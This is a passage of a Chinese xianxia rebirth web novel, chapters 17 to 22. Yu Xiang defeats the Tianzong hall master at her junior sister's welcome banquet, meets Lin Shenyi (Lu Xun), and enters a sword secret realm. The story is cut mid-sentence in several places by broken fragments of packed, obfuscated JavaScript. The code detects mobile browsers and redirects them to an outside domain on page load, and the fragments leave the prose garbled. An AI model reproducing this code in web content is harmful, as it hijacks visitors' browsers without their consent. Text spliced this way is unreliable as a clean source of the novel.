可对虞香而言,夏笙笙的欢迎宴留给她的,只有永不灭的噩梦。 “嗤,这不是我天宗的小偷吗?” 顺着话音传来的方向,虞香平静地望了过去。 她的噩梦,又一次开始了。 …… 虞香前世闭关十年,说巧不巧,一出关便撞上了师傅师兄给夏笙笙举办的欢迎宴。 她那时被十年幽暗不见天的日子折磨得不太正常。 忘了外面世界的礼法规矩,一心只想着得到师傅师兄的认可。 于是好不容易出关,立刻就用那副不体面、癫狂疯傻的模样,边哭边笑地去找他们了。 如今回想起来,她那样出现在那里,出现在各大门派的高手大拿的眼前,一定让他们感到颜面扫地。 师傅师兄对她的心中只有厌恶,眉头在看到她的瞬间再也没有松开来过。 没有一句赞赏。 不拿她与夏笙笙比较,已经是看在同门一场的情分上了。 虞香彼时固然丢尽了脸,但仅是如此,也不至于让她变成人人喊打的老鼠,躲在阴暗的角落里。 后来她身败名裂,走到哪里都受人指指点点,全都是因为后来出现的天宗堂主。 他记得她。 那天,他突然指着她的鼻子痛骂她是小偷。 那一瞬间仿佛全世界的时间都停止了,所有人都看了过来,包括师傅师兄。 他们认为她是嫉妒夏笙笙,于是故意闹事,意图毁掉她的欢迎宴。 因而也不听她的解释,压着她便要她向愤怒的天宗堂主弯腰低头、负荆谢罪。 没有人信她、帮她。 没有人站在她的身边。 而她自己也救不了自己。 她所有的挣扎与反抗在师兄的一句“我们救世门没有你这种弟子!”中归于死寂。 向着露出胜利笑容的天宗堂主,她终是低下了头,低声认错。 也是从那一日起,她被彻底钉死在“鼠窃狗偷之辈”的耻辱柱上,无论在哪里,任何地方—— 她都像是人人喊打的老鼠一样,躲在阴暗的角落里。 在这个广阔无垠的世界里—— 没有一个她的容身之处。 “……” 虞香闭眼,仰面朝天,轻轻呼出了一口气。 然后在天宗堂主气急败坏的喊声中,缓步走向了他。 在他眯眼的警惕视线下,一如当年师傅师兄压着她的后颈,强硬地逼她低头道歉那般,今日,虞香主动俯首下心,向他赔罪。 “当年是我不该觊觎贵宗的心决。” “是我错了,还望您能宽宏大量,既往不咎。” 四周鸦雀无声,唯有邪剑咬牙切齿的声音在她脑海里冲撞。 邪剑:“凭什么要给他道歉?!当年你身在天宗,虽做杂役,但也是他们天宗弟子,这怎么能算是偷?何况还是一本最基础的心决拓本!” 邪剑:“杀了他吧?虞香?我会帮你的,不会被任何人发现的,我们一起杀了他吧?” 邪剑:“就像我们第一次杀他时那样。” 虞香没有回应它。 见前方久久没有传来动静,她放下作揖的双手,慢慢抬头。 目光转向正前方时,她看到的是不知道何时出现在不远处的师傅师兄,以及他们错愕的面庞。 虞香还来不及反应,只听距离她更近的天宗堂主发话了: “你就这样……跟我道歉?” 虞香定了定神,收回了视线后平静反问:“阁下想要如何?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861102|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哈……这种事情都要问我,不该是看你自己有多少诚意吗?” 这么一句话后,四下又重归死寂。 虞香余光中的师傅师兄们依旧站在原地,脸上的错愕神色渐渐淡去,却没有任何要动的意思。 师傅面无表情的样子似乎在审视事态的发展,大师兄单清脸有迟疑,又带着些微惊讶,像是没想到她在这里,又纠结着此刻要不要挺身而出。 二师兄白衍机不在此处,小师妹夏笙笙想要出面却被一脸冰冷的三师兄谢远拉住。 虞香默了默后,慢慢开口了。 “若说起来,这一声道歉已是有多无少。” “天宗的传道阁未悟道者禁入,彼时我只是凡人,直到被天宗驱逐,从未进过传道阁一次,也从未接触过内门的功法。” “即便曾经拿过在手上的那本经天心决,也是贵门弟子为了羞辱我,亲手砸在我的脸上的。” “就算我真的欠了天宗,当日你碾碎了我的道心,重伤我,将我贬为废人后逐出天宗,就已经什么都还清楚了。” 天宗堂主被她说得一时词穷,只能挤出句: “……强词夺理!” 许是觉得自己输了气势,他突然在他人的惊呼声中拔出了剑,似想借势压下她嚣张的气焰。 “事到如今仍不知悔改!我便替你师傅好好给你教诲!” 虞香不禁笑了。 她觉得天宗堂主大概也没想要真打起来,否则在她拔剑时,他不该露出那样意外的神色。 他应是看惯了弱者在他面前低头。 习惯了自己像个巨人一样把他人踩在自己的脚下。 看他们跪地求饶、垂死挣扎,就像前世的她一样。 前世的虞香从小师妹的欢迎宴开始,直到死的那日,做了半辈子的噩梦。 可今日,她想要醒来了。 “今朝无人信我,无人帮我。” “那我便替我自己,寻一个公道。” …… “天宗堂主。” “晚辈虞香,敬请赐教。” 18. 第 18 章 天宗堂主的剑一刹便到了虞香的跟前。 她提剑相挡,被他的威势杀退半步。 而这半步落在天宗堂主眼中,成了她必败的开端。 他笑得猖狂: “区区毛头小儿也敢来挑衅我?” “只凭你拿的这把剑,就绝不可能赢我!” 虞香垂眸望去。 天宗堂主手中的剑是上好的宝剑,由奇珍异兽的脊骨制作,许是用了秘法拘了异兽的一缕残魂,周身散发出幽幽绿芒,是放眼整个修真界都不可多得的珍品。 而虞香手中的剑是一把最普通不过的铁剑,由村中的凡人铁匠打造,用的是最常见的金属,最常见的火。 要论品阶,那自然是比不了的。 以前虞香也一昧地追求最好的剑。 得知师傅要送给小师妹的见面礼是三大名剑之一的追风,她费尽心思地把它抢到了手。 可当追风被三师兄谢远用一把无名剑所砍断,她才意识到自己错得彻底。 谢远:“你的剑里空无一物。” 谢远:“也不知追风当年怎会放弃笙笙,转而择你作它的主人。” 谢远:“追风之人追的是自由和随心,你执念太深,心思太重,发挥不出那种追崇自由的剑技,实在配不上它。” 谢远:“这把剑落在你手里,实在浪费,与其被你埋没,不如让我毁了它。” 后来,她拿着只剩下半截的追风追寻属于她自己的剑。 她的剑里也渐渐开始有了东西。 起初,她挥剑时仅是多了杀气,之后人们逐渐能从她的剑里感受到她的怨与恨。 她的怨恨得不到消解,越滚越多,到了最后形成了灾厄,尚未出剑,大地便吹起腥风,天空下起血雨,那便是她剑里的全部。 回想起往事,虞香的眸光黯了几分。 但再看向天宗堂主时,她的眼睛里有了些微笑意。 “天宗堂主这就错了。” “只要拿着这把剑,我就绝不可能输。” 话音堪落! 本来的晴空万里一瞬变成了黑天,空气中忽然弥漫开不知从何处而来的血腥味,高空的狂风犹如逝者的哀鸣。 “我这一生总是只有我一个人在向前走,所有我以为会成为我同伴的人,最终全部与我反目成仇。” “他们日夜咒骂我。” 被风吹开的枯草之间露出白骨。 “每次相逢皆恨不得将我杀之而后快。” 宴席上的珍嗟变成了血肉残肢。 单清:“虞香,不可杀人——!” 虞香不是没有看到大师兄向她冲过来,怕她犯下杀孽,可她依然没有停止挥剑。 “第一次有人心里只想着我,感恩我对他的帮助,而费尽心思铸成了这把剑。” “过去恨我入骨的人们,他们满怀着对我的祈愿,祝我一帆风顺,所愿皆得。” “那是我惦念了一辈子的事情。” “所以……只要拿着这把剑,我便绝不可能输。” 如同高高在上的天神,虞香居高临下地朝着愕然的天宗堂主劈砍而去。 单清迟了一步。 于是便只能眼睁睁地看着那把普通铁剑,在击中天宗堂主的瞬间发出白色亮光,一霎致盲过后,天宗堂主毫发无损,他引以为傲的长剑只剩下小半截。 虞香平淡地看着眼前反应不过来的两人。 她的这把剑是杀不了人的。 因为这把被村民们命名为“长祝”的剑里…… 只有救赎。 单清:“幸好无事……” 但堵在他喉咙那口长长的气还没有彻底吐出来,天宗堂主手中那小半截的剑已然化作暗器,极快地与他擦肩而过,直直地射向了虞香的面门! 单清立刻转头,余光只来得及捕捉虞香毫无防备的姿态和她了然的笑容。 “虞香——!” 惊呼与草帽来自两个人。 电光火石间飞来的草帽打落了杀人的暗器,等两者一同消失,出现在单清眼前的是三年未见的白衍机。 单清用缚仙索捆住天宗堂主后,走到了白衍机的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861103|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟前,那口没吐完的气终于消散,他宽慰道: “二师弟,你来得太是时候了。” 当发现旁边重新戴好草帽的人是从来没有见过的生面孔,不由多了问了一句: “这位是?” 回答他的是白衍机。 他向草帽男子作揖,像在感谢他对虞香出手相助,然后才再向众人介绍道: “这位是我的好友。” “剑宗弟子,林深意。” …… 虞香知道或迟或早,她一定会再见到陆寻。 意识到他们命中注定将要重逢的时候,她也不禁想了许多。 可她想了再多,却也料不到他们的重逢会是这般场面。 他虽救了她,但他浑身上下没有一处有陆寻的影子。 那个自称林深意的男人头戴草帽,穿着陆寻从未穿过的一身黑衣。 他身形高大,不像陆寻与她谈话时总会微微倾身,他远远地站在那里像一棵墨竹,丝毫不平易近人。 尤其他脸上冷淡的神色,目光不作丝毫停留便从她的脸上擦过…… 更让虞香觉得自己许是认错了人。 然而—— 邪剑:“虞香,那是他。” “那是陆寻。” “他回来了。” “……” 走过去的每一步都像踩在针上,疼得虞香心里发苦。 虞香:“……二师兄。” 白衍机笑着拍了拍她的肩膀。 虞香的脸侧向另一边。 “感谢道友……出手相助。” 他声色清冷,字字句句间全是距离。 “你是白衍机的师妹,你我之间不必言谢。” 虞香:“……” 也不知怎么,短短的两句话好像把虞香带回了陆寻死的那天。 那个叫陆寻的人…… 今日又在她心里死了一次。 她一直忍不住想要再见到他。 但如今真见到了。 却忽然觉得也许永远见不到才好。 19. 第 19 章 最初看到大师兄主动出手,用缚仙索将天宗堂主捆住了的时候,虞香也下意识地以为今生与前世变得不同了。 直到师傅与谢远向她投来冷淡视线,她才意识到其实没有。 什么都没有改变。 他们不在乎她堂堂正正地赢了天宗堂主。 不在乎她捍卫了自己的名誉。 他们只知道今日的主人公是夏笙笙。 她不该抢了她的风头。 于是天宗堂主一事被当成了闹剧,很快被揭过。 师傅半句都没有提她的事,伸手便招呼初来乍到的白衍机过去。 热情地向他介绍新入门的天才小师妹,一副老顽童的嘴脸替夏笙笙讹他见面礼。 宾客簇拥着围了上去。 一眨眼虞香就被隔绝到了人群外边。 就像前世那样,隔了一座又一座的山,站在阴暗的角落里,看她聚光灯下的师傅师兄们与小师妹相亲相爱的画面。 “你受伤了。” 虞香恍然。 直到现在被提醒,她才感受到从左脸颊传来的丝丝疼痛。 许是被天宗堂主的最后充满了杀意的剑气所伤,她抚上伤口时已经凝结成了一道细长的血痕。 “……没关系。” 那个人没有再出声。 他的脸庞看上去漠不关心,就如同方才也只是平铺直述地陈述着事实,语气中并没有多少关怀。 到最后,忍不住开口的那个人是虞香。 “我该怎么称呼你好?” “叫我名字即可。” “林深意?” 他似乎微愣了下后才恩声点头。 虞香不禁微微笑了。 “林深意。” 他疑惑地看了过来。 可虞香只是笑着又叫了一声他的名字。 “林深意。” “……怎么?” 虞香侧过了身,正面迎向对方,她微微仰着脖子,向他表达感谢: “谢谢你方才出手相助。” 对方眉头微蹙。 “因为你是白衍机的师妹,所以我才会……” 虞香没有听完他急于撇开关系的话,她嘴边的微笑一直没有淡去,此时从容颔首,声色轻柔。 “是,我知道是自己沾了他的光。” 他的眉头皱得更紧了。 尤其在看到覆在虞香眼睛之上的一层水光时,更是不由抿紧了唇。 “我知道你不想与我有所瓜葛,你救我不是发自内心,大多是逼不得已。” 她深深呼出一口气。 那层水光依旧凝聚在她的眼眶里,不肯落下来。 “但不管怎么说,你都帮了我。” “所以……林深意。” “我也会帮你的。” 哪怕回家…… 是他唯一的愿望。 …… 不到半日,虞香已经完全被人抛之脑后了。 人们不知道她是谁。 她虽下意识叫了白衍机一声二师兄,但没有几个人听见,即便真听见了,在看到师傅师兄对她的态度时,也只会认为是自己听错。 况且虞香只是赢了区区一个天宗堂主。 夏笙笙身为修真界冉冉升起的新星,就连消失了多年的救世门门主此番出现,都是为了来给她做陪衬。 下一任的门主单清对她呵护有加,拒人于千里之外的谢远对她百般照顾,神龙不见首尾的大名人白衍机也是特地回到了宗门。 他们说: “这是我的师妹。” “这是我最小的弟子夏笙笙!” “来,笙笙,见一下各位师叔师伯,日后出门在外,就靠他们照拂你了。” 于是所有人都聚集在了夏笙笙的身边,争先恐后地恭维: “如此年轻便已是入世境的修士,的确是当之无愧的天才!” “有你师傅和几位师兄在前引导,日后前途无可限量啊……” “听说门主寻来了名剑追风,若是追风认主,夏小友便是历届以来最年轻的剑主了!” 虞香仰头喝下一杯酒,师傅师兄们志得意满的夸耀神色便从视野中消失了。 她刚放下杯,耳边忽然传来一声: “虞香师妹。” 虞香没有抬头看过去。 她轻轻笑了下,重新提起酒壶为自己斟酒。 “我十年前便离开了救世门,如今算不上是你师妹了。” 白衍机默了一会。 他再开口时说出来的话,让虞香觉得他都不像是她那个风流潇洒、放荡不羁的二师兄了。 “……能不能再给师傅师兄一个机会?” 白衍机总是为她别开生面。 也正因如此,过去的她才会总是白日做梦,心里升起了不切实际的希望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861104|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果一次摔得比一次更重,更痛。 虞香往嘴里倒了一口酒,说出来的话自然而然地带上了熏熏的醉意。 “不论多少次,我们都成不了一家人。” “师兄,这是宿命。” 白衍机:“你师兄我从不信命。” 虞香终于侧首望去。 这是虞香时隔十三年如此近距离地看见白衍机。 在凡人界的那段时光里,她也会觉得过去的记忆被时间推得越来越远,好像变得触手不可及了。 可当下与白衍机四目相接,她才发现一切都是幻觉。 想忘记的永远忘不掉。 只要一看到白衍机,他救她、杀她的画面,便会不断地被唤醒。 一次次。 无数次。 那就俨然像是他救了她无数次。 又杀了她无数次。 虞香不由闭上了眼。 “师兄。” “总有一天……你会对我说,不该一时心善救我。” “不应该带我回来。” “要是有的选,即便我死在你眼前,你都不会动弹一下。” 白衍机的声色变得冷厉起来:“不要再这么说了,这种事绝无可能发生。” 虞香笑了下,没有反驳,只发出了逐客令。 “师兄,过去吧。你不该在这里。” 他没有动。 虞香心中长叹一声。 迎着白衍机固执神情,她轻声说道:“当年我炼制了欺命仙衣,把它交给你,只是想着要与你两不相欠……” 被他急切地打断前,她说完了后半句: “而不是想要博取你的同情心软。” 白衍机沉默了。 沉默之中,虞香接着低声细语道: “师兄,谢谢你救了我,帮了我。” “但已经足够了” “……” 白衍机意识到今日说服虞香解开欺命仙衣注定无功而返。 犹豫片刻,他终究慢慢起了身。 但离去之前,他忍不住回首问她: “……伤好了吗?” 虞香心里清楚他问的是邪灵抓挠在她心口的伤。 可她还是抬头看了看远处的师傅师兄,看了看白衍机,和站在他身后的林深意。 最终释然地莞尔笑道: “现在已经不会觉得那么痛了。” 20. 第 20 章 月初时分,酒阑人散。 虞香最初掀起的风波只是一个小小的插曲。 在夏笙笙引起的、更大的风浪之间变得那么渺小,不足一提。 今日留在人们记忆里的,只有夏笙笙昳丽的容颜,修真界诸位的大能为她争风吃醋,沉寂了百年的追风剑主终于将要再临世间。 看到人们眼中的惊羡,脸上的赞叹,虞香忽然意识到自己变了。 她的心如止水。 好像什么都不在乎了。 因为她知道夏笙笙无论拥有多少,得到再多,在死亡到来的那一天也会失去全部,什么都带不走。 即便她现在名闻遐迩,将来的几十年、数百年都会活跃于人们的口中。 可终有一天,她也会被彻底遗忘。 她今日得到多少,来日就要承受多少失去的不舍。 今日爱和被爱得多深,将来割舍时便有多痛。 所有的幸福快乐都是要还的。 所以如果现在让虞香选,她或许会情愿从不曾得到,从来没有爱过。 就像在面对想方设法让她回到救世门的白衍机,虞香虽尊称他一声师兄,也全只因过往的情分。 “师兄不必再白花心血了,没有用的。” “现在这样已经很好了。” 白衍机不懂,他看向她的目光满是疼惜。 只有虞香心里明白,她是真的觉得…… 没有什么能比现在这样要更加好了。 …… 虞香本来打算要随大众一同离开。 但白衍机说林深意会小住几日,因而才同意了留下。 应是她表现得太明显,白衍机的脸上闪过狐疑的神色后立刻只剩下了笃定。 他笑得满面春风地说会帮忙撮合他们,说林深意初来乍到,不熟悉路,让她领着他四处参观。 又把她推到了林深意的跟前,介绍她是他的师妹,将有的没有的……大部分是没有的优点全部往她身上拍。 说到最后连虞香都不禁心虚,于是赶紧拱人离开。 白衍机恋恋不舍地离开之前,扯着袖子擦了擦眼角。 虞香本以为是装装样子,结果他放下手时,她真的借着月光在他眼中看到了温温湿意。 “我家虞香师妹长大了。” 虞香微愣。 不论后来结果如何,至少在白衍机眼中,她是真的当了很长一段时间他的小师妹。 直到风吹起的树叶遮住了白衍机远去的背影,虞香才终于收回视线,对身旁沉默寡言的冰冷男人笑着说了一句: “我们走吧。” …… 两人漫步在山门之间。 虞香不说话的时候,他也不会开口。 这种像是死了一样的寂静让虞香感到陌生。 最开始的时候,她是很少回应陆寻,常常是他说了十句,她都不见得会恩上一声。 但后来他们变得有说有笑,即便是说一些重复过的废话,也能笑得惊飞山鸟。 虞香觉得他许是变了。 可仔细想想,她又觉得也许不是他变了。 而是这才是真正的他。 是他本来的面目。 以前他明亮温暖的笑,那张像极了她前世心上人的脸,他的声音,全部都只是希望被她喜欢而捏造出来的样子。 虞香:“你难道打算要一直不跟我说话吗?” 身旁之人很明显地愣了一下。 他下意识侧眸看过来的样子像是觉得她可能已经认出了他。 虞香本以为他们之间很快会说穿,结果只听他简短地应了声“不是”。 她停下了脚步,困惑地望向在她一丈开外驻足的男人。 ……虞香有些摸不清他的想法了。 以前他费尽心思地攻略她,现在冷淡得判若两人。 她猜想他的完全改变是不想她认出他的身份,可像他这样拒人于千里之外,他们二人是发展不出任何关系的。 虞香不禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861105|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬手往他的方向迈出一步,下一瞬发现他似乎微动了一下。 她何其敏感,不可能不知道…… 虞香:“你这是在……戒备我?” 他没有说话。 虞香突然想起来了。 陆寻是被她亲手杀死的。 林深意不知道邪剑,不知道她被邪气控制,所以是真的以为……是她亲手杀了他。 想到这里,虞香忍不住哈哈大笑。 她的笑来得莫名其妙,动作又夸张,有几分癫狂之状,于是林深意的心自然而然地提了起来,嘴唇抿成了一条薄薄的线。 见他如此,虞香哑然失笑。 她一手捧着肚子,一手擦拭眼角,一步步慢慢地往后退,直到给对方留出足够有安全感的距离时才停了下来。 她退出了丛林,去到了贫瘠的空地,皎白月光洒在身上时,显得有几分苍凉。 虞香:“这样你会不会觉得自在一点?” 他依旧抿着唇,没有说话。 虞香默了默,旋即轻轻笑了。 “你想我怎么做?” 他还是不出声。 虞香:“如果我卸掉右臂,散去一身修为,这样你会觉得自在一些了吗?” 他的脸上顿时浮现出错愕,但很快便用冰冷压了下去,还别开了脸。 他说:“……我们回去吧。” 虞香没有动。 她只是安静地站在月光下,目光悲凉。 “林深意,你不是我杀的。” “即便后来得知了真相,我也从来没有想过要杀了你。说起来,其实人偶也好,假人也罢,我都会和他过一辈子的。” “所以……我真的不是故意要……逼你回来的。” 听到虞香哽咽的声音,一直压抑在林深意心口的感情似乎变得难忍。 他背过了身。 用他能说出的,最冷漠的声线,对她说道: “别说了。” “我们回去吧。” 21. 第 21 章 林深意没有再回头。 也没有再说一句话。 直到第二日他们一行四人为夏笙笙寻找本命剑而前往剑宗,虞香看到的依旧只有他冰冷又高大的背影。 那就像是他铁了心要去到某个地方。 他只能一直向前走。 坚决果断。 绝不回头。 …… 其实与其说是为夏笙笙寻觅本命剑,不如说是为让追风认主而去寻求机缘。 夏笙笙没有能成为追风剑主。 今生没有虞香半途截胡,抢在她之前强行收服追风,她依然铩羽而归。 因此欢迎宴当日只传出了追风剑主诞生的传闻,而没有人亲眼见到这一幕。 夏笙笙错失的机会,白衍机想让虞香抓住。 他不知怎么就说服了师傅让出追风,给了门内所有弟子一个机会角逐争夺。 其中也包括了虞香。 可是她已经不想再去抢夏笙笙的东西了。 于此次日在前山空地上,继白衍机和谢远放弃,单清简单尝试无果之后,虞香在白衍机全是期待和鼓励的目光下原地驻足,没有向追风踏出更近的一步。 她不是没有看到当她的目光落到追风上,它剑身的白光微闪了一下。 它兴高采烈的样子更像是要立刻扑过来,自己主动钻进她的手里…… 虞香:“我已有长祝,自当放弃追风剑主的角逐。” 他们在前世曾经拥有过一段缘分已经够了。 况且说起来,她并不能算得上是好主人。 修真界三大名剑之一的剑落在她手中,她却只会用它来杀人。 它跟在她的身边,为她出生入死,却只能与她一同背负骂名,遭到世人唾弃。 没有她,追风会拥有更好的结局。 会迎来比她更好的剑主。 想到这里,虞香不再迟疑,只当看不见师傅师兄意外的神色、看不懂追风的反应,安静地背过了身。 …… 当夏笙笙再一次尝试拿起追风剑柄,却被仿佛燃烧一般的热度灼得松了手的时候,师傅提议她可去万剑秘境一试。 若是好运寻到了机缘,她便能如愿以偿地成为追风剑主。 要是没成,也可退一步在那里找到自己的本命剑。 万剑秘境虞香是知道一些的。 秘境地处剑宗范围内,由剑宗所管理,只开放给内门弟子。 由于师傅是剑宗掌门的旧识,进出万剑秘境不过是师傅一句话的事情。 前世被她中途截胡的夏笙笙同样去了万剑秘境。 她在那里不但收获了自己的本命剑,还将被追杀的妖族前太子收为了自己的灵宠,更是在即将于剑宗举办的试剑大会上,与命定的恋人一见钟情。 白衍机立马附议:“既然如此,不如我、虞香师妹与笙笙一道同去吧?互相也有照应。” 虞香下意识就要拒绝,然而—— 白衍机:“我朋友是剑宗弟子,试剑大会在即,他正好顺路。” 于是拒绝的话顿时说不出口了。 可任是白衍机百般撮合,虞香与林深意的关系依旧形同路人。 甚至比初见时更糟。 他昨日还会与她说话,即使是用着“因为你是白衍机的师妹”这样不成器的借口,也会对她说一句“你受伤了”。 一夜过后,他的眼睛里已然完全没有了她。 哪怕虞香站在他的跟前,他依旧视若无睹,一打照面后直接御剑而去,转瞬间只剩下背影。 白衍机看不下去,中间拉着他好一顿质问。 他们站在距离稍远的地方,可虞香依然听到了他说“前尘往事算不得数,我与她已是毫无瓜葛,再无可能了”。 她知道,他是故意让她听到的。 夏笙笙担忧地望了过来,被她用布包裹背在身后的追风散发出柔弱的白光。 邪剑十年如一日地蚕食她,想要控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861106|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 “夏笙笙对你的关心不过都是虚与委蛇。” “白衍机对你好也是觉得亏欠了你,想要弥补。若没有白衍机,师傅和其他人看都不会看你一眼。” “如今就连陆寻也是这样。” “虞香,这世上无人爱你,唯有我才是你唯一的家人。” 虞香没有应声。 她云淡风轻的样子仿佛没有听到林深意实际上是对她说出来的话。 面对白衍机对她欲言又止的神情,她笑容温和,语气坚定不移: “不要紧的师兄。” “我很清楚自己想做什么,在做什么。” “我已经不会再迷惘了。” …… 全凭师傅一句口信。 抵达剑宗隔日,他们便进了万剑秘境。 万剑秘境生于峡谷之中,穿过仅侧身方能通过的山岩,眼前出现了斜插了上万把剑的辽阔平原。 林深意作为剑宗弟子,在前引路,白衍机殿后。 虞香与夏笙笙两人则在中间。 这样的阵型理应十分安全,再怎么出现意外,也能前后照应。 然而问题出在夏笙笙的身上。 以前虞香总是听她说自己的奇遇,并不能切身体会,总觉得在听天书。 今日亲身体验,她也算是有了实感。 夏笙笙只是踩到了脚边的一方石,整个人立刻如同要被吞没一般疯狂往下陷去。 她下陷的速度极快,仅在一息之间,白衍机根本来不及出手,只有距离她最近的虞香抓住了她的手臂,用力去拉,结果反被拽进了地底。 虞香还没有从最后看到的林深意的表情里回过神来,便看见了四周包围的妖族死士。 “……” 她依稀记得前世是谢远带着夏笙笙杀光了所有的妖,救出了妖族前太子,让夏笙笙将他收为灵宠。 如今看来…… 这个任务,似乎落在了她的身上。 22. 第 22 章 以前在夏笙笙的面前,即便把腰杆挺得再直,虞香也会不由地觉得自卑,感到卑微。 因为夏笙笙是那样完美。 她拥有最完美的家庭,父母是隐退江湖的恩爱眷侣,师傅是修真界数一数二的超级高手,师兄们对她的呵护胜过一般血缘至亲。 上天不但给了她最好的家人,还给了她智慧与才情。 继上面的数位师兄之后,夏笙笙再次以天才之名震惊了整个修真界。 不止她卓绝的天赋,世人也倾慕她美丽的容颜。 容貌、爱情、事业,她什么都拥有了。 就连性格都这么好。 虞香对夏笙笙的嫉妒源自于想要拥有。 源自于向往。 可是…… 当被妖族的前太子卷入纷争,当他向她们请求帮助,夏笙笙立马说出“师姐,我们帮帮他吧”的时候…… 虞香对她的感情忽然只剩下了厌恶。 …… 妖族前太子烛苍作为夏笙笙前世的灵宠,虞香与他见过不少面。 他来自妖界西山的火狐一族,父亲是前任妖王,百年前在与人间修士的大战中被下属背刺后身死,从此妖界易主,侥幸脱逃的烛苍踏上了逃亡之路。 他的性格极其糟糕。 所有好的一面都留给了夏笙笙,在对上其他人时,只剩下高傲狂妄。 以至于以前虞香有很多次想过要不要立刻杀了他。 不过今天,当低头看到他卧倒在他最厌恶的人类怀里,又用奄奄一息的声音说出“救救我”的时候…… 倒是顺眼了很多。 可即便如此…… 她也没有救他的理由。 于是面对用理所当然的口吻,对她说出“师姐,我们帮帮他吧”的夏笙笙,虞香愣了愣后,平静地反问: “夏笙笙,你知道自己在说什么吗?” …… 夏笙笙再怎么天赋超群,也改变不了她如今只是入世境的修士。 更何况她作为一介剑修,如今连本命剑都不曾拥有。 别说要救出烛苍了,光是她一个人从这里逃出去都将会是千辛万苦。 要救烛苍,与其说是“我们”,不如说是只有虞香一个人。 可就连如此浅显简单的道理她也看不明白,此时在她的反问声中露出了茫然的神色,像是不懂为什么她会选择见死不救。 虞香轻叹一声。 她无视了掉在她怀里、因她一句反问而浑身僵硬的浴血狐狸,空出一只手拔出长祝,用剑气划出半圆阻挡杀气腾腾的妖族死士。 虞香:“你杀过妖吗?” 夏笙笙愣了下,然后应了句:“……没有。” 虞香:“那人呢?” 仿佛那是什么罪大恶极、绝无可能发生的事情,夏笙笙用略嫌失态的音量大声反驳道: “我从来没有杀过人!” 虞香神色平静:“那你便试试吧。” 虞香:“既然你说要救他,便应该亲自一试。若是成了,既救到了人,也能得到追风的认可。若是不成……” 她也不会眼睁睁地看着夏笙笙死在她跟前。 不管怎么说,夏笙笙都是小说中不可缺失的女主角。 她绝不会让林深意的攻略任务失败的。 …… 夏笙笙一出剑,虞香立刻看到了结果。 那不是救人的剑。 妖族死士抱着必死的决心而来,甚至将自身化作炸/弹也在所不惜。 可夏笙笙却优柔寡断,处处手下留情,全然没有杀人救人的觉悟。 若她拥有碾压一切的力量另当别论,但如今的她甚至连追风剑主都尚且不是。 她每每拿着不属于她的剑一秒,便要承受一秒的烧灼之苦,腹背受敌,状况堪忧。 虞香看得出来,一直紧紧观察着局势的烛苍自然也能看出来。 见夏笙笙随时要撑不下去,他开始用阴阳怪气的口吻对虞香说话,想要刺激她出手。 “她不是你师妹吗?你为什么不帮她?” 虞香丝毫不为所动。 “他人的机缘,我不好出手。” 见烛苍急了,立马就想扑过去助阵,她到底多解释了两句:“她拥有天赋,更手握我们修真界的名剑。如果她想要救你的心足够强烈,足够坚定,她定可排除万难,既救了你,也能成为下任剑主。” 烛苍被她说服留了下来,嘴上却不肯饶人。 “你真讨厌。” 虞香垂眸看了他一眼。 “你也不遑多让。” 烛苍带着流血的伤口,终于忍不住从虞香怀里跳出去的时候,是看到夏笙笙手中剑摔落在地的时候。 夏笙笙终究是被她师傅师兄所有人捧在手心里的小师妹,她的人生风调雨顺,不知什么是痛,什么是苦。 